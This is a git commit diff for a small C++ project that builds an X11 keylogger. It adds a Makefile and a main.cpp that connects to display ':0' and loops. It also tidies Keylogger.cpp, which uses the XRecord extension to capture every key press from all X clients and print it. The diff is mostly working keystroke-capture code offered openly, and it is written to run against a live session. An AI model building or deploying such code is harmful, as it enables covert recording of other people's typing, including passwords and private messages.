summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Makefile106
-rw-r--r--includes/Keylogger.hpp9
-rw-r--r--srcs/Keylogger.cpp23
-rw-r--r--srcs/main.cpp26
4 files changed, 146 insertions, 18 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..aef5400
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,106 @@
+#****************************************************************************
+#
+# Makefile for rtwt.
+# Vianney Bouchaud.
+#
+# This is a GNU make (gmake) makefile
+#****************************************************************************
+
+# DEBUG can be set to YES to include debugging info, or NO otherwise
+DEBUG := NO
+
+#****************************************************************************
+
+CC := gcc
+CXX := clang++
+LD := clang++
+AR := ar rc
+RANLIB := ranlib
+
+DEBUG_CFLAGS := -g -DDEBUG -fPIC
+RELEASE_CFLAGS := -Wall -W -Wextra -Wno-unknown-pragmas -Wno-format -O3
+
+LIBS := -L/usr/X11R6/lib -lXtst -lX11
+
+DEBUG_CXXFLAGS := ${DEBUG_CFLAGS}
+RELEASE_CXXFLAGS := ${RELEASE_CFLAGS}
+
+DEBUG_LDFLAGS := -g
+RELEASE_LDFLAGS :=
+
+ifeq (YES, ${DEBUG})
+ CFLAGS := ${DEBUG_CFLAGS}
+ CXXFLAGS := ${DEBUG_CXXFLAGS}
+ LDFLAGS := ${DEBUG_LDFLAGS}
+else
+ CFLAGS := ${RELEASE_CFLAGS}
+ CXXFLAGS := ${RELEASE_CXXFLAGS}
+ LDFLAGS := ${RELEASE_LDFLAGS}
+endif
+
+#****************************************************************************
+# Include paths
+#****************************************************************************
+
+INCS := -I./includes/
+
+#****************************************************************************
+# Makefile code common to all platforms
+#****************************************************************************
+
+CFLAGS := ${CFLAGS} ${DEFS}
+CXXFLAGS := ${CXXFLAGS} ${DEFS}
+
+#****************************************************************************
+# Source files
+#****************************************************************************
+
+SRCS := srcs/main.cpp \
+ srcs/Keylogger.cpp
+
+OBJS := $(addsuffix .o,$(basename ${SRCS}))
+
+#****************************************************************************
+# Name
+#****************************************************************************
+
+OUTPUT := keylogger-X11
+
+#****************************************************************************
+# Targets of the build
+#****************************************************************************
+
+all: ${OUTPUT}
+
+#****************************************************************************
+# Output
+#****************************************************************************
+
+${OUTPUT}: ${OBJS}
+ ${LD} -o $@ ${LDFLAGS} ${OBJS} ${LIBS} ${EXTRA_LIBS}
+
+#****************************************************************************
+# common rules
+#****************************************************************************
+
+# Rules for compiling source files to object files
+%.o : %.cpp
+ ${CXX} -c ${CXXFLAGS} ${INCS} $< -o $@
+
+%.o : %.c
+ ${CC} -c ${CFLAGS} ${INCS} $< -o $@
+
+dist:
+ bash makedistlinux
+
+clean:
+ -rm -f core ${OBJS} ${OUTPUT}
+
+depend:
+#makedepend ${INCS} ${SRCS}
+
+#****************************************************************************
+# epitech rules
+#****************************************************************************
+
+re: clean all \ No newline at end of file
diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp
index cfdc88e..a1644c5 100644
--- a/includes/Keylogger.hpp
+++ b/includes/Keylogger.hpp
@@ -5,7 +5,7 @@
// Login <vianney@bouchaud.org>
//
// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud
-// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud
+// Last update Wed Oct 26 15:01:44 2011 Vianney Bouchaud
//
#ifndef __KEYLOGGER_HH__
@@ -24,11 +24,6 @@
#include <unistd.h>
#include <exception>
#include <string>
-#include <iostream>
-#include <stdio.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netdb.h>
struct CallbackClosure {
Display *ctrlDisplay;
@@ -54,7 +49,7 @@ public:
void start();
void stop();
void processData();
- bool xConnect(std::string displayName);
+ bool xConnect(const std::string &displayName);
private:
std::string m_displayName;
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
index ae9356c..381660c 100644
--- a/srcs/Keylogger.cpp
+++ b/srcs/Keylogger.cpp
@@ -5,11 +5,12 @@
// Login <vianney@bouchaud.org>
//
// Started on Wed Oct 5 13:58:25 2011 Vianney Bouchaud
-// Last update Thu Oct 6 19:03:44 2011 Vianney Bouchaud
+// Last update Wed Oct 26 15:04:35 2011 Vianney Bouchaud
//
-#include <string>
-#include "Keylogger.hpp"
+#include <string>
+#include <stdio.h>
+#include "Keylogger.hpp"
Keylogger::Keylogger()
{
@@ -23,29 +24,29 @@ Keylogger::~Keylogger()
void Keylogger::start()
{
if (!XRecordEnableContextAsync(userData.dataDisplay, recContext, eventCallback, (XPointer) &userData))
- throw exception();
+ throw std::exception();
}
void Keylogger::stop()
{
if(!XRecordDisableContext(userData.ctrlDisplay, recContext))
- throw exception();
+ throw std::exception();
}
void Keylogger::setupRecordExtension()
{
XSynchronize(userData.ctrlDisplay, True);
if (!XRecordQueryVersion(userData.ctrlDisplay, &recVer.first, &recVer.second))
- throw exception();
+ throw std::exception();
recRange = XRecordAllocRange();
if (!recRange)
- throw exception();
+ throw std::exception();
recRange->device_events.first = KeyPress;
recRange->device_events.last = KeyPress;
recClientSpec = XRecordAllClients;
recContext = XRecordCreateContext(userData.ctrlDisplay, 0, &recClientSpec, 1, &recRange, 1);
if (!recContext)
- throw exception();
+ throw std::exception();
}
void Keylogger::processData()
@@ -53,7 +54,7 @@ void Keylogger::processData()
XRecordProcessReplies(userData.dataDisplay);
}
-bool Keylogger::xConnect(string displayName)
+bool Keylogger::xConnect(const std::string &displayName)
{
m_displayName = displayName;
if (NULL == (userData.ctrlDisplay = XOpenDisplay(m_displayName.c_str())))
@@ -69,7 +70,7 @@ bool Keylogger::xConnect(string displayName)
return (true);
}
-static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
+void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
{
if (hook->category != XRecordFromServer)
{
@@ -81,7 +82,7 @@ static void Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook
if(data->event.u.u.type == KeyPress)
{
int c = data->event.u.u.detail;
- std::cout << XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)) std::endl;
+ printf("%s\n", XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0)));
}
XRecordFreeData(hook);
}
diff --git a/srcs/main.cpp b/srcs/main.cpp
new file mode 100644
index 0000000..492c147
--- /dev/null
+++ b/srcs/main.cpp
@@ -0,0 +1,26 @@
+//
+// main.cpp for keylogger testing in /home/vianney
+//
+// Made by Vianney Bouchaud
+// Login <vianney@bouchaud.org>
+//
+// Started on Wed Oct 26 13:53:06 2011 Vianney Bouchaud
+// Last update Wed Oct 26 15:00:57 2011 Vianney Bouchaud
+//
+
+#include <string>
+#include "Keylogger.hpp"
+
+int main(void)
+{
+ Keylogger K;
+
+ if(K.xConnect(":0")) {
+ K.start();
+ while (1) {
+ K.processData();
+ usleep(1000000/3);
+ }
+ }
+ return 0;
+}